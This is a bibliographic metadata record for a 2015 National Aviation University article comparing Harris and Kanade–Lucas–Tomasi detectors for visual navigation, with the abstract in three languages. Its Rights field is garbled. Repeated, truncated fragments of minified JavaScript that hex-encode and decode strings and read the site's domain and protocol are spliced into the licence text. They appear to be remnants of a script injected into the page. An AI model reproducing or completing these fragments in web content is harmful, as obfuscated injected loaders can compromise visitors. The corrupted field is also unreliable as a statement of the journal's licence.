NAU Harvester System
Аналіз ефективності використання детекторів Харріса та Канаде-Лукас-Томасі для задач візуальної навігації
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Аналіз ефективності використання детекторів Харріса та Канаде-Лукас-Томасі для задач візуальної навігації
Анализ эффективности использования детекторов Харриса та Канаде-Лукас-Томаси для задач визуальной навигации ANALYSIS OF EFFICIENCY OF USE OF HARRIS AND KANADE–LUCAS–TOMASI DETECTORS FOR VISUAL NAVIGATION TASKS |
|
| Creator |
Mukhina, Maryna; National Aviation University
Yeremeyeva, Tetyana; National Aviation University Kuzmenko, Aliona; National Aviation University Panarin, Mykhailo; National Aviation University Revchuk, Oleksandr; National Aviation University Tkachenko, Olena; National Aviation University |
|
| Subject |
—
детектор Харріса; матриця гомографії; метод виявлення характерних ознак Канаде-Лукас- Томасі; метод прямого лінійного перетворення; прискорене виділення робасних характерних ознак 004.051:629.735.018.006.26:629.7.05/.06(045) — детектор Харриса; матрица гомографии; метод выявления характерных признаков Канаде- Лукас-Томасе; ускоренное выделение робастные характерных признаков; метод прямого линейного преобразования 004.051:629.735.018.006.26:629.7.05/.06(045) — Direct Linear Transformation (DLT) method; Harris detector; homography matrix; Kanade–Lucas– Tomasi (KLT) feature tracker; Speed-Up Robust Feature (SURF) 004.051:629.735.018.006.26:629.7.05/.06(045) |
|
| Description |
Досліджено методи аналізу зображень на основі комп'ютерного зору. Проведено оцінювання ефективності детекторів характерних точок, визначених методами Харріса і Канаде-Лукас-Томасі (КЛТ). Виявлені точки представлені дескриптором прискореного виділення робастних характерних ознак, які використовуються у подальшому для визначення матриці гомографії. Аналіз точності візуальної навігації проведений шляхом оцінювання кута повороту камери за допомогою факторизації матриці гомографії, отриманої з двох детекторів. Похибки візуальної навігації відповідають нормальному розподілу для цієї виборки.
Исследованы методы анализа изображений на основе компьютерного зрения. Проведена оценка эффективности детекторов характерных точек, определенных методами Харриса и Канаде-Лукас-Томасе (КЛТ). Обнаруженные точки представлены дескриптором ускоренного выделения робастные характерных признаков, которые используются в дальнейшем для определения матрицы гомографии. Анализ точности визуальной навигации проведен путем оценки угла поворота камеры с помощью факторизации матрицы гомографии, полученной из двух детекторов. Погрешности визуальной навигации соответствуют нормальному распределению для данной выборки. The article examines methods of images analysis based on computer vision. We made a comparison between the detectors of feature points determined by Harris and Kanade–Lucas–Tomasi (KLT) methods. Found points are represented by Speed-Up Robust Feature (SURF) descriptor and then used to determine homography matrix. Analyses of accuracy of visual navigation is done by estimation of a camera rotation angle via factorization of homography matrix obtained from two detector methods. Errors of visual navigation follow the normal distribution for the given sample. |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2015-10-13
|
|
| Type |
—
— — |
|
| Format |
application/pdf
application/pdf application/pdf |
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/9047
10.18372/2306-1472.64.9047 |
|
| Source |
Proceedings of the National Aviation University; Том 64, № 3 (2015); 126-132
Вестник Национального авиационного университета; Том 64, № 3 (2015); 126-132 Вісник Національного Авіаційного Університету; Том 64, № 3 (2015); 126-132 |
|
| Language |
uk
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|